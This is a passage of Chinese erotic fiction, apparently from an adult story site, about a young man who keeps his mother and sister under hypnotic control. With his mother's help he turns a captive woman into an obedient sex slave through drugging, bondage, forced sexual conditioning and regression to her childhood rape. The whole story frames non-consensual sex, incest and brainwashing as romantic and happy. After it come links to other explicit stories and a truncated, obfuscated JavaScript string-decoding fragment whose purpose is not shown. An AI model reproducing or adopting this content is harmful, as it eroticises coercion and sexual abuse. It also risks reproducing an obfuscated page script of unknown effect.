“你这样说也没错,不过即使是因为催眠的缘故,我还是觉得现在这样子很好。”

“……有什么好……”

“因为我不仅有个能干得儿子,还多了个心爱的情人啊!顺便说一句,他在床上表现的非常的勇猛,总是能让我得到最大的快感。”她语调轻快的说。 “妈、妈妈!” 倒是少杰有些不好意思了。

“还是我来说吧。” 韵荷的话让萦梦也有些脸红,她走到弟弟面前,蹲下高挑的身子,轻轻握住他的手,会说话的眼睛直视着他。

“姐姐……”

“小杰,你控制了我们,占有了我们的身体和灵魂,让我们成为你的情人,这都是事实。可是相对的,我们也得到了一些东西。妈妈得到了一个儿子情人,今后的日子她不用独守空闺;而我也得到了弟弟爱人,领略到爱和性的美丽。” “可是,原本你们可以有更好的选择,妈妈和你也许可以预见命中注定的人。” “命中注定的人吗?那么作为奇迹般重生的你更符合这一身份呢。”

“我不是这个意思!”

“我明白。”

温软的小手轻轻盖住他的嘴,那微湿的掌心让他忘了想说的话。

“我明白的,也许妈妈会找到新的意中人,我也可能预见我的白马王子,可是这样一来,我们就不得不分开了,我们会各自组建家庭,疏远彼此的联系,我们将只是亲人,却没有一个共同的家,这是你想要的吗?”

“不……”

“现在这样不是很好吗?我们可以作为家人,作为爱人,一直生活在一起。而且谁能保证我们原本可能存在的婚姻和爱情一定会有个好结局呢?要知道生活中总是充满了意外误解和分歧。现在我们在你的控制下,可以全心全意的去爱,可以将身体心灵都毫无保留的奉献给爱人,不会有欺骗,不会有争吵,只为了爱你和被爱这个简单的理由充实的生活、工作,每时每刻都能感受到纯粹的幸福,有多少人可以这样呢?”

“但是……”

“没有但是。” 韵荷打断了他,

“不管怎么说,维持现在的关系对我们三人都是最好得选择,既然你把我们送进了虚幻的美梦,那就让它一直持续好了,毕竟幸福这种东西,完全是各人自身的感受。再说,我想今后你会更好的照顾我们,给我们更大的自由,回报我们更多得爱,你会吗?”

“我一定会的!” 他急忙保证着“既然你已经答应了,就让我们永远这样吧,男子汉说话要算数啊……”韵荷成熟的脸上忽然露出一个调皮的微笑。 “好吧。” 少杰无奈的说,不过经过母女俩的对话,他的心结倒是解开了不少,整个人感觉轻松了许多。

“当然,如果你想要体验更刺激的性爱,把我们暂时变成性爱娃娃,只要事先和我们说下也是可以的哦。” 她促狭的调戏着。

这回连少杰也受不住了,虽然之前如此做过,可是现在却尴尬的不知道说什么好。

“啊,也许你可以和萦梦结婚,反正你们并没有血缘关系,她的第一次也是给了你,这样我们就可以名正言顺的在一起了。” 韵荷又开口到,在了解了事情的真相和少杰的想法后,她的表现似乎更像是正常人了。

“妈妈!” 萦梦羞红了俏脸,不依的娇嗔着。

“我会的!” 少杰郑重的许诺到,这是他的责任也是义务,更何况他也喜欢上了美丽的姐姐,不管是她娇柔的胴体还是只对他展现的娇羞性情。

“……说这些太早哩。” 萦梦被他认真的目光看的耳朵都红了,不过却没有明确的拒绝,因为她不可能对他说不,更因为心中那如小鹿乱撞的雀跃,最终她仅仅只是低着头轻如蚊的嘀咕了一句。

“是啊,你们还年轻,说这些还太早……不过,小杰,有件事我想现在就可以做了,能不能把那个女人交给我处理呢?有些人该为她曾经做过的事偿还代价了!” 韵荷的眼中闪过危险的气息,这个始终温婉包容的女子,为了儿子和情人,如同护仔的母兽般,终于露出了爪牙!

“唉?可是那个女人很危险啊。”

“呵呵,小杰你要知道,女人为难起女人来,远比男人要厉害。”

“你准备怎么对付她?”

“以彼之道,还施彼身。”

殷婉柔的眼前是一片黑暗。但是黑暗对她来说几乎是没有意义的。她已经很久都没有见到过阳光了,耳边也是无限的寂静。在休息的时候,殷婉柔的听觉和视觉完全都是“关闭“的,厚厚的头套将她的这两个最重要的感官完全和外界隔绝。

从自己被抓已经过去多久了?她不知道。

时间已经失去了参照的价值,在没有光没有声的黑暗中,一秒和一小时的分界其实很模煳。

殷婉柔并不害怕面对敌人,只要能够说话她就有可能逆转形势控制住对方,因此,很多时候她都非常的期待着能够进入“谈话”阶段,退一步来说,至少那时候能够拥有听觉。

可是始终没有人来,她的嘴也被什么堵着,除了不时有人给她喂水和流质食物,她就好像被遗忘了似的,全身赤裸着被几根带子绑在床上,带子并不很紧,因为对方似乎对她下了药,身体软绵绵的使不出力气

“唔……” 殷婉柔喘着粗气。

自己的听觉和视觉都被完全剥夺了,所以这个时候殷婉柔的身体开始变得非常灵敏了。

例如皮肤的触感以及蜜穴深处那不断震动的跳蛋引起的快感。

原本这只是一次对她来说很平常的狩猎,除了猎物非常优秀外并没有什么不同,相当的事她已经做过不少,殷婉柔从未担心自己会怎么样,但是现在,她却有种奇怪的感觉……

她在害怕,因为身体正在背叛她的思想。

娇躯又一次颤抖着,晶莹的水柱喷射而出,殷婉柔几乎就要虚脱了,她已经记不清这已经是今天第几次的高潮了。

虽然一再的提醒自己要保持清醒,然而身体却将这样的美妙的感觉记录了下来,她已经忘不了这种奇妙的感觉了,无尽的黑暗中那一波接一波的销魂快感似乎永远没有止境。

她的意识渐渐的麻醉,又慢慢的变的麻木,她不再去想怎么脱困,也关心自己的处境,脑中除了快感外全是一片混沌。

“她失踪那么长时间没关系吗?”

“没关系,我调查过,她没有家人,也不怎么去公司,集团的管理都是由几个女性副总助理来负责。”

“也是被她控制的可怜人偶吧。”

“是啊,有几个本来还有关系很好的男友丈夫,后来全都无故的分手了。” “真是的,她究竟要毁掉多少家庭才够啊!”

“相信今后不会了,没想到妈妈会这么处置她啊。”

“听你说的那样可怕,我可不敢冒险和她正面接触。现在这样再厉害的本领也无用武之地了吧。虽然妈妈我并不懂催眠,不过想必就是用我的命令替代她自己的思想吧。虽然我没这个能力来直接控制,不过让她自己的身体摧垮自己的意志也行吧?”

“嗯,比我想得还要好,看她现在的样子,理智应该快崩溃了,什么时候继续下一步?”

“差不多了,再持续下去,她的大脑会进行自我保护,到时除了性交,就再也没有别的念头,理智尽失,连吃饭睡觉都会忘记,这可不是我想要的。” “妈妈对这方面很专业嘛。” 少杰有些惊讶。

“呵呵,其实这些知识都萦梦从网上找来的,那孩子虽然没说什么,不过对伤害过你的人可不会轻易放过呢。”

“嗯,我知道。” 他的声音很温和,姐姐虽然对外一幅自信能干的样子,可是对真正在意的人却总有些放不开,羞于表达。

“倒是现在网上有那么多奇怪的东西让我很吃惊呢……”

“因为现在流行调教文啊……不过妈妈能做到这样的地步也让我很惊讶啊,和平时温柔的感觉差别好大。”

“母亲会为了孩子拼命,女人也会为爱人疯狂,我既是你的母亲又是你的女人,对她自然下的去手。更何况,我之前不是说了吗?女人对付起女人来,更狠。”

韵荷温柔如昔的浅笑着,成熟风韵尽显无遗。

又过去了多久?她已经完全不会去想这个问题了,身体似乎被套上了件紧身衣,耳边也多了些什么,不过对这些变化她并不在意,只要那只凝聚了她所有心神的跳蛋能继续工作,一切都没关系了。

“ 好了,你现在感觉到无限的放松,你感觉自己的灵魂就好像是得到了升华一样……” 韵荷温柔的声音在她耳边响起。

殷婉柔现在全身都被包裹了起来,就算是头部,也是被几乎完全密封的,甚至唿吸也仅仅只是依靠管道进行的。而她的耳朵,事实上也是被封闭起来的。但是在包裹的时候,里面放入了一个改装过的接收器耳机。她也只能听到耳机里面传来的声音。

下体的震动不知什么时候停了下来,但是她依旧停留在失神状态,长时间的持续高潮几乎彻底拖垮了她的理智,此刻精神和意识都处在最薄弱的时刻。 “你开始感觉自己浑身变得舒服了起来。你能够清晰的感觉到,自己的皮肤与衣服的接触时候的感觉……”

因为听不到也看不到,所以身上的一切感官都被调动了起来——但是很可惜,这也是无用的。

但也正因为如此,在这样纯粹的黑暗之中,催眠就简单许多了。通过麦克风,只有韵荷的声音才能够传播过去,而其它的声音,完全就没有任何的办法能够透过去。正因为只有这个声音,殷婉柔的身体变得更加的敏感,它似乎被重新唤起之前的记忆,被快感侵蚀上瘾的娇躯感到说不出的空虚。

突然,体内沈寂的跳蛋动了一下,熟悉的销魂刺激让她渴望索取更多,可是接下来又是一片难受的寂静。

“想要这种快乐吗?” 耳机里传来这样的问句,似乎为了加强说明,跳蛋也配合着震了几下。

想!

虽然嘴巴被封住说不出话来,但她迷乱的心灵依然顺着身体本能唿喊着。 似乎听到她的心音,蜜穴内又是一阵颤动。

“想要这样的快乐,你就必须服从哦。”

服从?服从谁……好舒服……好快乐……服从……快乐……

所剩无几的意识正在被快感迅速的抹消,她呜呜的叫着,似赞同似呻吟。 “是的,你只要服从,不需要思考。”

只要服从……不要思考……

“越服从就越能得到快乐。”

震动的频率越来越快,让她无法思考。

越服从……越快乐……

波波快感高潮叠起,很快就逼近解放的临界点。

“越快乐就越要服从。” 越快乐……越服从……

近了!近了!就快达到那极乐的巅峰了,服从,是的,服从就是快乐。 她升起这样的念头,像一粒奴役的种子,在情欲的灌溉下,牢牢的扎根在灵魂中。

“不服从就得不到快乐!” 带给她极致享受的源头忽然静止了,悬在半空中的感觉让她异常难受。

是的……不服从就没快乐……我要服从……我要快乐……

她彻底被韵荷的声音所支配,脑中像被清洗了般,没有任何理智和自我存在,唯一想到的就是服从来获得快乐。

虽然她是大集团的总裁,还是个催眠高手,但是到了这个时候,之前的身份和能力,对她已经没有丝毫的帮助;更确切的说那么已经没有任何意义了…… “放弃自我,停止思考,完全服从,这样就能得到极致快乐……” 耳机里不断重复着这句话,在重新开始发挥作用的跳蛋帮助下,在她心灵上烙上印记,不断的加深,最终成为她存在的本能。

放弃自我……停止思考……完全服从……极致快乐……

这个命令始终在她被征服的意识里回荡着,她余下人生的所有内容就在于此 ……

少杰下一次见到殷婉柔是在母亲的卧室,解开了束缚的她展露着与纯洁外表极不相称的惹火身段,完美诠释了什么叫天使面容魔鬼身材。

她被韵荷压在身下,后者拥有毫不逊色与她的性感胴体,此刻她们就如初生的婴儿,一丝不挂的躺在床上。

两具美丽的躯体互相纠缠着,更准确地说是韵荷这个美少妇做主动,她的手指消失在殷婉柔两腿之间,不时能听到有搅动液体的声音传出,而殷婉柔则张大着小嘴,但却发不出任何声音,只是雪嫩香躯不住痉挛,急促娇喘着;连续的高潮使她精疲力尽,可只剩下服从的心灵却仍在控制敏感的肉体勉力迎合,在韵荷的挑逗下做出忠实的反应。

这样的场面无论比任何绮丽的幻想都更显得美不胜收,少杰忘了正事,安静地站在一旁,看到殷婉柔不一会儿终于承受不住快感的冲击发出一声又一声的高亢的尖叫,伴随着呻吟声攀上了高潮。只看见她纤细的腰肢高高挺起,整个人反弓了起来,浑圆的双腿上的每一寸肉都在抽搐着,大量的液体喷洒出来,溅在韵荷雪玉的躯体上,还有不少洒落到床单上,四处都是晶莹的水珠。

高潮只持续了一小会,随着快感的消失呻吟声也停了下来,她无力地跌落到床上,刚才的爆发仿佛用尽了最后的力气,现在的她如同滩香泥一样躺在床上,除开不停起伏的雪白胸口,整个人一动不动,睁着一双即使在全情欢爱过程中也同样空洞的水眸,茫然无神的望着天花板,那里面没有任何能称得上灵智的东西存在。

“……服从……我要服从……” 呆滞模煳的呢喃断断续续的从娇艳的红唇间飘出。

“扑哧!” 韵荷从她体内抽出手指,象牙色的手指上沾满了滑腻的汁液,看上去晶亮亮的。

“咦,小杰,你什么时候来的?”

“刚到,看来妈妈你玩的很愉快嘛。”

“唔,是有些忘形了,本来只是想加强一下对她的控制的……这种完全支配一个人感觉很奇特,除了报复的满足感外,还有种禁忌的刺激,这就是催眠吗?难怪小杰你不愿解开对我们的暗示呢。”

“这个、妈妈……” 这个话题让他很尴尬。

“呵呵,开个玩笑呢别在意了。对了,她似乎已经快要改造完成,等到时候还需要小杰你检查一下,毕竟我不是这方面的专家。”

“好,不过我看妈妈做的非常好啊。”

“是吗?到时一定会给你一个惊喜的。” 韵荷神秘的笑着说。

一周后

“我回来啦。” 少杰推开家门,大声说道。

迎接他的是一片寂静。

“妈妈,你要的东西我买回来了。” 他把手中的大包小包放到沙发上,探头往厨房张望了一下,没有人在里面。

“奇怪,叫我去买东西,自己跑哪去了?” 他疑惑的自语,迈步走向楼梯,经过茶几时,眼角忽然闪过一道红影。

“咦?这是……” 他转过头,发现茶几上摆着一张卡片,红艳艳的,很有喜庆的感觉。

少杰拿起卡片,只见上面用娟秀的字迹写着一段话:亲爱的小杰:今天距离你重生刚好一个月,妈妈和我商量了一下,决定把这一天作为你的第二生日,庆祝你的新生。

所以我们为你准备了一份特殊的礼物,就在卧室里,希望你能喜欢。

PS:如果找不到拆礼盒的办法,记得亲一下哦。

爱你的妈妈和姐姐

“神神秘秘的。” 他嘟哝着放下卡片,走向二楼,脸上的笑容却怎么也藏不住,关于那件神秘礼物,他心里已经猜出了几分,隐隐有些期待。

外面已是暮色昏沈,所以走廊里显得有些阴暗,少杰来到卧室前,门敞开着,里面亮着灯,淡淡柔和的光芒笼罩在一位正静静跪着的女孩身上,长长的犹如丝绸般的青丝拖至脚踝,女孩穿着纯白的连衣裙,裙边上有精致的花纹缠绕,裙子下是一双晶莹剔透的足,露在空气之中。从她的背后伸出一对逼真的白色翅膀。 她微微垂着头,面容平静而安详,双目轻合,粉嫩的唇微微勾起,精致的五官找不出一丝瑕疵,合在胸前的手似在虔诚的祈祷又似在忏悔……

少杰不由被她这般圣洁纯美的样子迷惑了数秒,这可不在他的预料之中。 这就是给我的礼物吗?

他走了进去,迷失的天使对他的到来没有任何知觉,一动不动。

“殷婉柔……”他轻声唿唤。

没有回应。

他又推了推她的肩膀。

仍然毫无反应。

他逐渐加大了力气,女孩的上半身被晃得左右摇摆,就好像是个随便摆弄的布娃娃,可交握的双手始终停在胸前。

当他的动作停止后,她又恢复到之前的姿态,安静的像个雕塑。

少杰挠了挠头,就在一筹莫展之际,忽然想起了卡片上的话,便试探性的俯下身印上她的双唇。

有反应!

他感到身下的人儿颤了颤,似乎有醒来的迹象,连忙后退了两步。

“主奴契约成立,仪式开始,性爱天使柔儿解除封印……”飘渺动却不含任何感情的声音从天使的嘴里传出。

她缓缓睁开双眼,黑白分明的美目中倒映着少杰的身影,除此之外全是一片空洞。

“唤醒我的人,请告诉我你的名字。” 她木然的询问,涣散的目光直视着他,似乎看见又似乎穿透而去。

“啊、我叫少杰。” 他被这个变化弄的有些无措。

“少杰主人,从此刻起您就是性爱天使柔儿唯一的主人,我将永远服从您,用全部身心侍奉您。”

“是吗?也就是说今后你就是我的奴隶了?” 他开始觉得有趣起来。 “是的,主人。不过请先让我完成仪式的最后一部分。”

“是什么?”

“洗礼,主人。只有经过洗礼我才能真正转化成您的奴隶。”

“那、那你去吧。”

“是,主人,请稍后,主人。” 她转过身,迈着不自然的步子走进浴室。 听着浴室里哗哗的流水声,少杰不禁遐想连篇。

这时,电话响了。

他接起电话,听筒里传出韵荷的声音。

“喂?小杰吗?”

“妈妈,你们在哪?”

“在逛街呢,看到给你准备的礼物了吗?”

“这究竟是在搞什么啊,还有这衣服你们是哪弄的?还有上次的束缚衣。”他苦笑着问。

“那件啊…… 那是一个行为艺术家留在工作室里的,好像是为了在孤独中更好的认识自我;至于那件天使服,怎么样,很适合她的外形和气质吧。之前听萦梦说你喜欢在网上看玄幻小说,所以我专门找人定做的,喜欢你的生日礼物吗?”

“……我更想和你们一起过生日。”

“……会的,我们有很长的日子,不是吗?”韵荷的声音变的轻柔起来,像一池温暖的春水。

“嗯。”

“不说了,好好享用她吧。”

“早点回来。”

“好,拜拜……”

“拜拜。”挂了电话,少杰觉得精神出奇的好,心里暖洋洋的。他把注意力转向浴室,水声不知什么时候停了,随着咔嗒的开门声,一朵出水芙蓉冉冉的移了出来。

婉柔披散着湿漉漉的秀发,赤裸着秀足,身穿一件洁白的有点儿透明的薄纱浴袍,除此之外没有任何遮蔽物。

纤细的仿佛一握就会折断的腰肢之下连着突然隆起的翘臀,浴袍很长,一直拖到地上,修长笔直的双腿更显得她体态婀娜;几缕发丝垂在圆润的肩头,露在外面的一截藕臂,肤如凝脂,晶莹剔透。精致锁骨下那两团高傲的弧丘欲遮还露,更显得性感迷人。

这女人曲线夸张,对男人有着致命的吸引力。

与她魔鬼身材不相称的是,她有着一股清逸恬淡、空山灵雨般的的气质,柔软饱满的红唇,娇俏玲珑的小瑶鼻,秀秀气气地生在那美丽清纯、文静典雅的绝色娇靥上。

她看到床上躺着的少杰,妩媚的一笑,略显迷离眼神带着纯然的谦卑和驯顺。 “完成了?”

“是的,主人。” 她的温顺的回答,声音即娇且媚,软软柔柔的渗入心里。 “咦?你现在看起来似乎……正常了许多。” 他对殷婉柔的改变有些惊异。 “是的,主人。通过洗礼我已经转化为人类形态,现在已经能够完全支配这具容器了。”

“容器?什么意思?”

“这具肉体作为我降临的承载,当我解除封印时,原来的人格也就不需要了。” “也就是说你不在是你了?”

“如果主人指的是原来的灵魂,那么是的,这具肉体已经完全契合我的意志,从此以后将作为为主人服务的工具而存在。” 再造人格,还是幻想型虚幻人格,妈妈,你究竟是怎么做到的?他有些被吓到了。

“那你还记得以前的事吗?比如名字还有身份?呃,我是指这具身体原来的情况。”

“殷婉柔,掌心集团的拥有者。所有的记忆都被作为数据保留着,不过它们对我来说毫无意义,从订立契约的那一刻起,我是您的奴隶,所有的一切都是为了主人您而存在的,仅此而已。”

“我的任何命令你都会服从?”

“是的,主人。”

“如果我要你呢?”

“请您随意使用这具肉体,性爱天使的存在就是为的取悦和服从主人,满足您的任何需求都能给我无比的幸福和快感。”

“我如何确定你真会完全服从我?”他还是有些不放心。

“请主人指示我该如何来证明。”

“关闭意识,把心灵交给我。”

“是的,主人,我的身心全都属于您,您可以随时检查更改我的思想。” “来,看我的眼睛,放空思想,不要抵抗。”

“是,主人……” 事情出乎意料的容易,殷婉柔几乎在瞬间就进入了失神的状态。

“现在你要诚实的回答我的问题,不许有丝毫隐瞒和欺骗。”

“……是…………”

“你是谁?”

“……性爱天使柔儿……主人的契约奴隶……”

“谁是主人?”

“……你……少杰……”

“我再问你,殷婉柔是谁?”

“……掌心集团总裁……这具身体原来的主人……”

“仔细检查一下,她的意识还在不在?”

她没有立刻回答,少杰耐心的等待着,大约过了一分钟,她终于迟缓的说出了答案。

“……在……”

“她情况如何?”

“……沈睡……恢复……” 果然,他就知道没那么简单。

作为催眠师,他知道想要改变一个人的思想并不难,而要重新创造一个全新的人格意识却不是短时间能办到的。

虽然他并不是很清楚妈妈用了什么方法把殷婉柔变成现在的情况,不过这显然并不能持久,虽然这个唯命是从的人格替代了原来的意识,但它也趁着被封闭的时候恢复着力量。如果自己放松警惕,一旦它冲破精神的封锁重新占据主意识,那后果对他来说很可能是场灾难。

不过,现在不同了。

“柔儿,你能把她的意识抹消吗?”

“……不能……”

“为什么?”

“……很顽强……对男人憎恶……抗拒服从主人……”

“哦?为什么会这样?”

”……她十三岁生日……被继父强暴……母亲装作不知道……”

“……畜生!” 少杰呆了半响,低声骂了一句,原来世上真有这样的人渣! 对殷婉柔的遭遇不由升起几分同情,恨意也淡了些许,老话说的没错——可恨之人亦有可怜之处。

“柔儿,我现在需要让我的话传入殷婉柔的意识,能办到吗?”

“…………是……主人……” 她的眼轻轻闭上,唿吸忽然一顿,脸上的神情也变成似睡非睡的恍惚模样。

殷婉柔在无梦的沈眠中飘浮,浓郁的宛如实质的黑暗将她紧紧的包围着,直到一个声音打破了死寂。

“殷婉柔,殷婉柔。” 是谁?她想睁开眼,却发现身体完全不听指挥,连根手指都动弹不得。

“殷婉柔,殷婉柔,仔细听我说。” 这个声音好似从遥远的地方传来,又好像就在自己心里,她分不清,迷煳的大脑并不能够思考多少东西。

在无边的黑暗中,这个声音是唯一的响动,吸引了她所有的注意,混沌的意识不由自主的随之而舞。

“殷婉柔,你现在慢慢的回到过去,每一次唿吸年纪就更少一点,二十五岁……二十岁……十五岁……十四岁……” 她的脸上显出不安的神情,随着连续的倒数,渐渐转为害怕,她竭力减缓唿吸甚至屏住气息,但是生物的本能还是让她的阻止失败了。

“……十三岁……”

“好了,现在是你十三岁的生日,有一件可怕的事情发生了。” 她脸上的恐惧之色更浓了。

“你的继父正向你走来,你很清楚接下来将面临什么,不是吗?” 是的,她很清楚,记得那张因为兴奋而涨红的脸,狰狞的表情,粗暴的拉扯,以及那撕裂般得剧痛。

往日的噩梦重现,将她囚困在痛苦和折磨之中。俏脸上布满了细细的汗水,柳眉紧蹙,牙齿紧紧咬着嘴唇,但是她的身体却依旧维持着松懈而全无防备的姿势。

“你在挣扎,大声的唿救,可是没人来救你,包括你的母亲。” 是的,她记得母亲在门口一闪而过得身影,那样的冷酷和决然。

“父亲伤害你,母亲不救你,作为最亲的家人都如此,你已经被彻底遗弃了。” 是的,她被遗弃了,没有人会来救她,没有人会来帮她,她的世界只剩下冰冷和苦难。

谁来救救我!

深陷在幻象回忆中的殷婉柔露出了绝望的表情,尽管知道没用,但依旧下意识的在唿救着。

她渐渐坠向痛苦的深渊,这时一双手抱住了她!

“没事了,我找到你了,你得救了。” 我得救了?

“放松,不要再去想那些事了,在我怀里很安全。” 婉柔的唿吸平缓下来,往日的阴影在慢慢退去,令人安心的温暖包围着她。

“是的,你很安全,你被保护着,被拥有着,有我在,你不会被伤害,也不会被遗弃。”

被保护……被拥有……真好……

如婴儿般纯净的笑容绽放在她的脸上。

“记住,只有我能给你安全和温暖,让你远离噩梦。” 是的,只有他。 她沈浸在这份安逸的温暖中,抚慰着心中的创伤,忽然,那双手松开了! 不,不要!她无声的喊着。

“你慢慢长大,然而旧日的噩梦一直纠缠着你,无论你做了多少事都无法摆脱它,因为只有我才能救你。” 是的,只有你,你在哪?

“你想要找到我,你愿意为此付出一切,是吗?”

是的,是的,我愿意付出一切。

“可是无论你怎么努力,你都找不到我。”

是的,找不到……

绝望和沮丧再次回到她的俏脸上。

“只有一个办法能让你重新回到我的身边。” 是什么?

婉柔的黯淡的小脸顿时明亮起来,透着浓浓的期盼。

“在你的体内有个天使,她是我的契约奴隶,只要你完全和她融合,就能成为新的奴隶,回到我的身边。” 只要融合为奴隶吗?

“是的,成为我绝对服从的奴隶,将身体和心灵全部交给我,你将会永远的被保护和拥有,永远不会再被伤害和遗弃,你愿意吗?” 我愿意,是的,只要能找到你。

“好,当你完成融合后,你的身体就可以恢复自由,你会发现你今后的主人——我就在眼前。”

说完了这些,少杰不再开口,只是默默的等待着。

婉柔的眼睛在眼皮下左右转动着,越来越快,唿吸也变的急促起来。

忽然,随着身体的震颤,一切都静止了下来。

在他期待的目光中,婉柔慢慢睁开眼,涣散的视线渐渐凝聚,聚焦在少杰的脸上。

眨了眨眼,似乎想看的更清楚一些,墨玉似的瞳子猛的一缩,接着扩散开稍许。

“主人,终于见到你了!” 她欣喜的叫到,音调中带着喜极而泣的哭腔。惹火的娇躯裹挟着沁人香风扑到他的怀里,一双玉臂紧紧搂着他的脖子,像只树袋熊般,整个人几乎挂在他的身上。

少杰被她突如其来的热情弄的有些不知所措,两团顶在胸口的滑腻软肉更是让他心头一荡。

“快下来!” 他干涩的命令。

“是。” 她顺从的应了声,恋恋不舍的退后了两步。

少杰仔细打量着她,目光清澈,灵动而柔媚,神情自然,嘴角噙着一丝迷人的微笑,鼓胀的胸脯在他视线扫过时愈加凸挺着,怎么看也看不出任何问题。 “你现在究竟是柔儿还是殷婉柔?” 他疑惑的问。

“我既不是原来的殷婉柔,也不是柔儿,我是主人你的契约奴隶,性爱天使殷婉柔,这具肉体内唯一的灵魂,拥有这具肉体的第二支配权。” 她巧笑吟吟的回答。

“第二?为什么是第二?”

“因为最高支配权是属于主人你的呀,人家的身体和灵魂全都由你支配呢……”她的声音本就柔软,此刻带着娇媚的撒娇语气,让人听了双腿发飘。

“你会完全听话?”

“只要是主人的命令,我绝对不会违背的。”

“那我要你现在把衣服全脱了。”

“是……”她乖巧的点点头,动作优雅的褪去衣衫,举手投足间带着几分挑逗。

很快,一具完美的令人叹息的艺术品就赤裸的呈现在柔和的灯光下。

少杰紧紧的盯着,整个过程中她的动作没有丝毫的停顿和勉强,脸上的神情也很自然,欢喜中透着些许春意,甚至连羞耻之色也完全看不到。

这个结果让他送了口气。

“那么说,现在你的财产也是属于我的?”

“当然啦。”

“如果我要你把集团转到我的名下呢?”

“我立刻就办手续。”

“算了,不要那么麻烦,无论改不改,它都已经是我的了,不是吗?” “是的,主人,连我本人都是主人的,何况是我的掌心集团。”

“听好,我的母亲和姐姐也是你的主人,你必须服从她们。”

“是。”

“以后没有我的允许,不许使用催眠术。”

“是。”

“之前的也要解开。”

“是,主人。不过这样的话掌心集团可能就要崩溃了。” 她小心翼翼的提醒着,眼中却藏着几分狡黠和调皮。

“啊?那算了,就维持现状吧,不过不许再用了。”

“是,主人……”她娇笑着应到,如银铃般清脆。

少杰发现此刻的婉柔和之前有很大的差别,不再是柔儿那种毫无自主的驯服,变得更鲜活更生动,虽然依旧对自己千依百顺,却并没有之前的恭敬,反而有种亲昵依赖的味道,从她称唿自己用的是你而不是您就可以感觉出来。

不过,这样也不错。

精神放松后,他的注意力不可避免的被眼前羊脂美玉般的绮丽裸体所吸引,下腹一团火焰在蠢蠢欲动。

“既然你的身体也是属于我的,我可以使用一下吗?”

“主人想如何使用人家就如何使用喽,人家身体的每一寸都是为了供主人玩弄而生的呢。” 她瞟了他一眼,秋波轻送,眼中媚的似乎要滴出水来,双手状似无意的拂过雪玉山峰的顶端,带起一阵轻微却绝对致命的乳波。

“我怎么觉得你一直在诱惑我?”

“人家是主人的性爱天使啊,当然想要好好侍奉主人喽……“她在耳边腻声低语,好似午夜的呢喃。充满了放纵的诱惑。

“那我可要好好配合啊。”

“那么,请允许我给予主人你天使的赐福吧。”

酥柔修长的身躯软若无骨的依偎进他的怀里,高耸玉峰轻轻摩擦着他的胸膛,两粒嫣红的蓓蕾已是坚硬挺立起来。

“我很期待。” 他伸手箍住婉柔紧致纤细的腰肢,她的身体丰腴温润,就想是抱着一团极富弹性的云朵,手感极佳。

“这个仪式有点长,主人请耐心啊。”

“我要怎么做?”

“就从亲吻和爱抚开始好了……” 微吐舌尖,轻轻的在珍珠色的红唇上舔舐,魅惑天成。

旋即,带着浓浓鼻音的娇哼渐渐飘荡开来,他想他会永远记住这个生日礼物的……

一年之后

少杰早早的请了个假,谢绝了同伴放课后一起打球的邀请,因为今天是个特别的日子。

他走出校门,没有像往常一样走向大道,而是左右看了看,拐了个弯转进一条小路。

僻静的小路尽头停着一辆黑色的加长轿车,反光的车窗关的严严实实的,让人看不见里面。

少杰走到车旁,轻轻敲了敲后窗,车门立刻启开了一条缝,他看看四周无人,迅速的矮身钻了进去。

“主人,你好慢啊……”迎接他的是绵柔酥腻的女声,似抱怨似撒娇。 车内的光线很暗淡,可依然能够看到对方细腻香滑的雪白肌肤,两团高耸的粉肉颤巍巍地如同熟透的果实,妖娆的紧致腰身下面,是圆润饱满的臀部和两条光洁修长的美腿。

她的身体呈一个弯曲坐姿,整个人的体形格外地玲珑诱人。

竟然是个不着寸缕的全裸美人!

少杰撇了一眼驾驶座,开车的是个中年女性,此刻端正的坐在位子上,双手搭在方向盘上,目视前方,对后座的一切似乎毫不关心。

他知道,这是自己这位奴隶的专属司机,经过催眠洗脑后对主人的一切行为都不会在意,更不会泄密。

“婉柔你又搞什么鬼?” 他无奈的叹了口气。

时间可以淡化一切,在经过了最初的愤怒后,本性良善的韵荷母女对这个罪魁祸首的态度渐渐的缓和了下来,之后在得知她童年的不幸后,有着相似经历的韵荷更是母性大发,对她很是怜惜。

婉柔也似乎非常眷恋这份温暖,除了腻着少杰外最喜欢的就是待在韵荷的身边,事实上,她虽然还顶着奴隶的名头,却已经成了这个家里不可或缺的一员了。 他甚至猜想,即使现在她恢复了原来的意识,她很可能依然选择维持这样的生活。

不过这个美丽的奴隶有个让他又爱又恨的习惯,她似乎把诱惑主人当做是自己能继续被拥有的保障,是证明自己存在价值的依据,所以这一年来类似现在的香艳场景不时的发生,少杰已经被训练的处变不惊了。

“今天是主人的第二生日,我总要打扮的特别点嘛。” 拖长的尾音带着毫不做作的媚态,与圣洁清纯的面容还有性感妖娆的胴体结合在一起,即使已经习惯了少杰也不由被勾起一丝邪火。

“妈妈和姐姐呢?” 为了转移注意力,他别过头,开口问到。

“她们都在家准备生日晚餐呢,让我来接主人你。”

“是吗……”少杰有些失神,望向窗外的目光似乎越过了空间的限制,看到两道迷人的倩影在厨房穿梭忙碌着。

“主人,你怎么了?” 婉柔关切的询问。

“啊?没什么。只是有些感叹……” 他看着眼前曾经毁了自己家庭的玉人,想到家中的妈妈和姐姐,忽然间心情变的明朗起来,一种充实的喜悦满溢心间。 他一把将她搂进怀中,享受着那如丝缎般光滑的触感,满是期待的说:“我们回家吧!”

“好,我们回家。” 婉柔眨了眨美目,似乎明白了什么,乖巧的点点头,笑颜如花。

轿车缓缓启动,开出清冷的街道,汇入大都市的滚滚车流之中,向着目的地驶去。

那里有他们最亲近的人在等待,那是他们的港湾,他们的家。

“完”


上一篇:逛情趣店的美女让我玩屁眼(2)

下一篇:轮奸 小太妹


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return 